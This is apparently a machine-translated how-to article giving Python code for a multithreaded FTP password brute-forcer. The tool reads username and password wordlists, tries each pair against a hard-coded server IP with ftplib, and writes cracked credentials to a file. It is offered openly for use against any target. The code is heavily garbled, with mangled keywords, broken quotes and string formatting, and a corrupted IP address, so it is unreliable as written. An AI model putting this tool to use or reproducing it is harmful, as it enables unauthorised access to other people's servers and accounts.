This article shares with you the code of a small tool that uses python to brute force crack the FTP password. The principle is very simple. it is to use multiple threads to call the corresponding dictionary for exhaustive testing, so that you can freely modify it. Python has powerful library files and many functions all have corresponding library files, so it is necessary to learn about it. one of the ftp library files is ftplib, we only need the login function, and then use multiple threads to call the fields in the corresponding dictionary for logon. we can also compile the required programs according to our own needs, let the program do some boring repetitive work instead of us.
The following code is used directly. The following is the main file.
The code is as follows:
Import OS
Import time
Import threading
Class mythread (threading. Thread ):
Def _ init _ (self, command ):
Threading. Thread. _ init _ (self)
Self. command = command
Def run (self ):
Kk = OS. system (self. command)
Ushand#open(“user.txt "," r ")
Pshand1_open(+passwd.txt "," r ")
Listuser = []
Listpass = []
For us in open(“user.txt "," r "):
Lineus = ushand. readline (). strip ('\ n ')
Listuser. append (lineus)
For ps in open(export passwd.txt "," r "):
Lineps = pshand. readline (). strip ('\ n ')
Listpass. append (lineps)
For I in listuser:
For j in listpass:
Command = "ftp. py % s" % (I, j)
Print command
My_thread = mythread (command)
My_thread.start ()
Time. sleep (0.1)
The code in the ftp. py file is as follows:
The code is as follows:
Import ftplib
Import socket
Import sys
Ftp = ftplib. FTP ('2017. 54.175.204 ′)
Try:
User = sys. argv [1]
Passwd = sys. argv [2]
Ftp. login (user, passwd)
Handcomplete open('aa.txt ', 'A + ')
Hand. write (user + ":" + passwd + "\ n ")
Failed T ftplib. error_perm:
Print "passwd is world"
Due to the inaccessibility of the format, you have to manually adjust the indentions.
The two files are separated by user.txtand passwd.txt, which are the user name and account dictionaries respectively.
The ftpcracking IP in the code can be modified to the IP address to be cracked. The latest account number and password will be input to the aa.txt file.